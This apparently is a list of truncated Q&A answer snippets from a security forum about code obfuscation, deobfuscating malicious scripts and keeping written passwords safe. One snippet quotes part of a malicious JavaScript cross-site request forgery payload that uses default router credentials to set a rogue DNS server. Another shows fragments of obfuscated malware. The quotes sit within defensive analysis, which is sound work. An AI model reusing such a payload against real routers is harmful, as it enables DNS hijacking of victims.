Hot answers tagged

131

Fortunately, almost all PHP scripts can be deobfuscated with 4 simple methods. We're going to use these four methods to create a canonical answer. Before we begin, let's collect a list of common tools that assist in deobfuscating these malicious files so we can do the work ourselves. Common tools that aid in deobfuscation UnPHP. This greatly aids in ...


57

I highly suspect this is a self rolled, or at least very outdated method. It is very weak by modern standards and should not be used to protect anything important. Short passwords could be cracked with no more than 2^64 brute force attempts, which is quite possible with even a normal computer. If both halves of the result are independent, even with fairly ...


48

In approximate order of increasing complexity (not security, and methods may be combined), here are some ideas that would be easy for anyone used to puzzles/writing code/maths. A more complete idea is below. NB: when I say "secret" I mean not written in the book. These are all easy, and most useful to deter the casual thief. Have a memorised secret ...


42

The problem with client sided Obfuscation/Protection is that the attacker will always win. Your code runs on his PC so he can intercept and manipulate everything in the end. In the specific case of .NET it might make sense to apply basic obfuscation to remove function names for example but free tools are perfectly fine for that. To answer your question a ...


17

Mark's excellent answer deals with the case where the obfuscation is relatively straightforward. This addresses 99% of cases, but once in a while you may come across something a bit more malicious, e.g. using encryption of the source code too. Executing the code (or at least part of it) can be a much quicker way to find out what the code is doing than ...


16

I created a language for this purpose. None of the symbols look anything like English (no telling if they look like any other language), there are no spaces, several letters are missing, common patterns become single symbols (dis,ing,etc) to prevent easy decoding, it is written from top to bottom, right to left, in a grid with out lines, and I used trash to ...


16

Let's be clear: Obfuscation is not there to be a form of security that is subject to scrutiny. It will fall down as soon as someone actually tries to get around the obfuscation and just makes things harder on the attacker. The purpose of obfuscation is to dissuade potential attackers from getting into the system without a large amount of effort, which may ...


10

Is obfuscation worth it? Yes, of course it is worth it. Any extra layer which does not interfere with another layer is always worth it. It will deter the average person and keep the majority of people, or would be script kiddies, at bay.... But Commercial tools I would say are not, as anything to advanced could actually hinder your development, using some ...


10

You're lucky: it's Windows-specific. First, I took the code, and went to jsbeautifier.org to beautify it: var stroke = "5556515E070B0A1005071024120D171005011C140116100D17014A0A0110"; function do193() { return ',"h'; }; function do112() { return ') { '; }; function do127() { return 'r xa'; }; function do88() { return '= 0;'; }; function ...


10

The fact that the length of encoded strings depends on the length of respective passwords suggests a much worse weakness: passwords seem to be obfuscated rather than hashed. This means than anyone who knows the internals of the system may be able to instantly decrypt any passowrd! The implications are numerous: you have to trust developers who ever worked ...


9

To show you it is easy to de-obfuscate your code, and therefore kind of useless to obfuscate it in the first place, I will present you how I did to de-obfuscate it in a quick and dirty fashion: I took your code, and replaced the first "eval" by "console.log". This gave me another (smaller) code starting with "eval". So I repeated this process 9 times, as ...


9

There are many better and more secure examples but I thought I'd mention one thing I've used in the past, which is mnemonics in the form of a drawings/comics to represent passphrases. This does require that you can vaguely remember what the passphrase was, however. An example could be the phrase "Tommy's birthday is on March 23rd!". The comic could ...


9

Write a diary and embed the passwords within the entries. It will not look like a book of passwords. Someone will have to read it to notice the misspelled words. I used an address book where the addresses, phone numbers, and postal codes of close friends and family members which were PINs and passwords. I know my family members addresses and phone numbers, ...


9

A basic method to minimise the impact of someone being able to find out passwords from glancing over at the notebook would be to have one password per page - if you're looking at that one, that's all they can see. Another alternative would be to have a Diceware or similar list, and note down the numbers. It adds a step to "decryption", in that the ...


8

Use a mask. No, seriously. Use something like medium-thickness cardboard, obtainable from office supply or hobby stores, to create a rigid grid mask, maybe 30x6 character slots in size, and cut out randomly placed holes for maybe 40-50 characters out of those. (You can obviously pick different dimensions, depending on your needs.) To write down a password, ...


6

Once upon a time, I wrote down the different PINs for my credit and bank cards. I converted them to base 9 and then added a spurious extra 9 somewhere in each number. I think that was pretty safe, but of course it only works for entirely numeric passwords such as PINs.


5

I think your 'testing' is redundant. Obfuscation is not encryption and it is completely possible to de-obfuscate even if it takes manual investigation and a lot of patience. There are many tools out there to assist and there is no logical reason why this example can't be reduced to a simpler chunk of code relatively quickly. Anyone's effort to decode this ...


4

Depends on the filter implementation and maybe the OS on the client machine. As you said - the IP address will end up in the TCP packets in its binary representation, regardless of how it was originally passed to the socket software layer. Firewalls will filter for this binary address and thus catch anything - there is no way around that. However, if the ...


4

I've come across several attempts at a wallet-sized reference card used as your password ciphertext. One example: http://www.passwordcard.org/en I wouldn't use one of these, but if I did, I'd spend more time on my mental model of how I derived my password, which should provide enough obfuscation that you likely wouldn't be able to acquire the card and the ...


4

This is a Cross-Site Request Forgery attempt. This Cross-Site Request Forgery attack attempts to exploit your router using the most common default user/pass combos and change your DNS servers to another: var dnsprimario = "103.31.0.140"; var dnssecundario = "8.8.8.8"; document.write('<img src="hxxp://admin:admin@10.1.1.1/dnscfg.cgi?dnsPrimary=' + ...


4

So their market is protecting your app from the prying eyes of reverse engineers. Myself, I find that page a little too fluffy, and a little too scant on details. I certainly wouldn't buy their product based solely on the descriptions on that page. Based on the descriptions, it looks like they generate some custom assembly language for each app, then you ...


4

I picked through the source code. The decode() function is simply a Base64 decoder. Most of its arguments and local variables serve no purpose at all. Likewise, the ratifyvWk() function, which decrypts a string by performing Base64 decoding (using the above function) followed by a Vigenère-style XOR decryption step with the key VtiEH9DlpPnDjlsD. The only ...


4

Kerckhoffs's_principle obviously applies: A cryptosystem should be secure even if everything about the system, except the key, is public knowledge. This in itself should be enough for you to say "I cannot approve this system without more information." From your examples, it seems that the input is divided into blocks of 8 characters/bytes, each block is ...


4

You are confusing many terms here. Perhaps I can help. Code signing is the process of cryptographically signing a file so that a user of the file can tell who signed the file and whether it has been modified since signing. It generally doesn't make the file unreadable, though, depending on how the signature is attached to the file, you may need a special ...


4

No. People with vested interests and deep wallets have put countless man-hours into solving this problem, even when using specialized hardware, and it gets broken over and over. Some game systems used security chips (10NES, anyone?) which validated cartridges and refused to run the system if the signatures did not match. It did not work out too well. If you ...


4

This object type is not readable for human. Why should it? It is intended for a computer and not for a human. I've never seen this kind of security. Is this general dev stack? It looks very safe. I doubt that this is primary a security feature. My guess is that they use some higher level development tool which just generates this kind of stuff. ...


3

I use mnemonic clues. So I invent a password I can construct from the clues, and then only store the clues on paper. The clues might be a doodle, or part of a drawing, or something that reminds me what my password is. Or that remind me of the part I haven't memorized. So without knowing what my associations are, it would seem quite difficult for someone to ...


3

You have a different threat model for written documents than for electronic ones but the way to handle them is pretty well known: restrict and audit physical access. It doesn't matter if it's nuclear launch codes or the combination of your little sister diary's padlock except in the specific way you're going to perform that control. This also means that, ...


3

Obfuscation != Security If your writing web services or some other code that runs on your secured servers, there is no need to obfuscate. If your deploying client side code, you may wish to obfuscate to make it harder for someone to reverse engineer your code so they can't steal it or take credit for it. It's very easy to decompile .Net code using ILDASM ...


3

A lot of people have already mentioned that obfuscation only increases the time in which an application's source can be regenerated; it works as a deterrent. Depending on the obfuscation techniques however, the resulting executable's size can be significantly reduced. Some obfuscation tools can even boost your application's performance by removing all ...



Only top voted, non community-wiki answers of a minimum length are eligible